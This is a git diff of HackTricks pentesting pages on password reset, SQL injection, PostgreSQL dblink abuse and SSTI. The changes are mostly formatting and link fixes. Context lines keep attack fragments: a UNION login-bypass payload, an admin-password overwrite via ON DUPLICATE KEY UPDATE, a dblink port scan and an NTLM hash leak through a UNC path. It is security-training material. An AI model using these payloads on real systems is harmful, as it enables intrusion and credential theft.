 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/reset-password.md

@@ -1,21 +1,21 @@
 # Reset/Forgotten Password Bypass
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -214,7 +214,7 @@ POST /api/changepass
 
 * [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -230,15 +230,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/sql-injection/README.md

@@ -1,15 +1,15 @@
 # SQL Injection
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -25,11 +25,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 
 An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
 
-
 ## Entry point detection
 
-When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively.
-These are some useful examples:
+When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
 
 ```
  [Nothing]
@@ -303,8 +301,6 @@ We have already discussed all the ways to exploit a SQL Injection vulnerability.
 
 Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
-
-
 <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
 
 ​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
@@ -319,7 +315,7 @@ List to try to bypass the login functionality:
 [sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
 {% endcontent-ref %}
 
-### Raw hash authentication Bypass 
+### Raw hash authentication Bypass
 
 ```sql
 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
@@ -341,7 +337,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
 **Recommended list**:
 
 You should use as username each line of the list and as password always: _**Pass1234.**_\
-_(This payloads are also included in the big list mentioned at the beginning of this section)_
+&#xNAN;_(This payloads are also included in the big list mentioned at the beginning of this section)_
 
 {% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
 
@@ -390,7 +386,7 @@ The database will **check** if the introduced **username** **exists** inside the
 
 More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
-_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
+_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
 
 ### MySQL Insert time based checking
 
@@ -414,9 +410,9 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
 
 Here's how it works:
 
-- The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
-- If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword".
-- Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
+* The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
+* If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt\_hash\_of\_newpassword".
+* Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt\_hash\_of\_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
 
 ### Extract information
 
@@ -580,8 +576,6 @@ This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup
 
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
 
-
-
 ​
 
 <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
@@ -591,15 +585,15 @@ This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup
 {% embed url="https://www.rootedcon.com/" %}
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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 </details>

pentesting-web/sql-injection/postgresql-injection/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -31,7 +31,7 @@ The **PostgreSQL module `dblink`** offers capabilities for connecting to other P
 
 ### **Exfiltration example using dblink and large objects**
 
-You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
+You can [**read this example**](dblink-lo_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
 
 ## PostgreSQL Attacks: Read/write, RCE, privesc
 
@@ -107,7 +107,7 @@ SELECT $$hacktricks$$;
 SELECT $TAG$hacktricks$TAG$;
 ```
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -122,7 +122,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

@@ -1,22 +1,21 @@
-
+# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-
-**Find [more information about these attacks in the original paper](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
+**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
 
 Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
 
@@ -26,7 +25,7 @@ CREATE EXTENSION dblink;
 
 Once you have dblink loaded you could be able to perform some interesting tricks:
 
-## Privilege Escalation
+### Privilege Escalation
 
 The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:
 
@@ -35,7 +34,7 @@ local    all    all    trust
 ```
 
 _Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\
-_Note also that the file pg\_hba.conf is readable only by postgres user and group and writable only by postgres user._
+&#xNAN;_&#x4E;ote also that the file pg\_hba.conf is readable only by postgres user and group and writable only by postgres user._
 
 This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database.
 
@@ -62,9 +61,9 @@ SELECT * FROM dblink('host=127.0.0.1
                       RETURNS (result1 TEXT, result2 TEXT);
 ```
 
-## Port Scanning
+### Port Scanning
 
-Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` as the documentation says that  `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method_.
+Abusing `dblink_connect` you could also **search open ports**. If that \*\*function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_.
 
 ```sql
 SELECT * FROM dblink_connect('host=216.58.212.238
@@ -99,7 +98,7 @@ Note that **before** being able to use `dblink_connect` or `dblink_connect_u` yo
 CREATE extension dblink;
 ```
 
-## UNC path - NTLM hash disclosure
+### UNC path - NTLM hash disclosure
 
 ```sql
 -- can be used to leak hashes to Responder/equivalent
@@ -122,20 +121,17 @@ $$ LANGUAGE plpgsql SECURITY DEFINER;
 SELECT testfunc();
 ```
 
-
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
-
-

pentesting-web/ssti-server-side-template-injection/README.md

@@ -3,7 +3,7 @@
 {% hint style="success" %}
 
 
-[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg)Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
 Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
@@ -11,7 +11,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -600,7 +600,7 @@ Layout template:
 
 ### PHPlib and HTML\_Template\_PHPLIB (PHP)
 
-[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is the same as PHPlib but ported to Pear.
+[HTML\_Template\_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear.
 
 `authors.tpl`
 
@@ -662,7 +662,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
 
 **More information**
 
-* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
+* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
 
 ### Other PHP
 
@@ -811,9 +811,9 @@ home = pugjs.render(injected_page)
 
 ### Other NodeJS
 
-<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
 
-<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
 
 * More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
 
@@ -982,9 +982,9 @@ ${x}
 
 ### Other Python
 
-<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
 
-<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
 
 * More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
 
@@ -1021,7 +1021,7 @@ The .NET `System.Diagnostics.Process.Start` method can be used to start any proc
 
 **More Information**
 
-* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
+* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
 
 ### Mojolicious (Perl)
 
@@ -1116,7 +1116,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
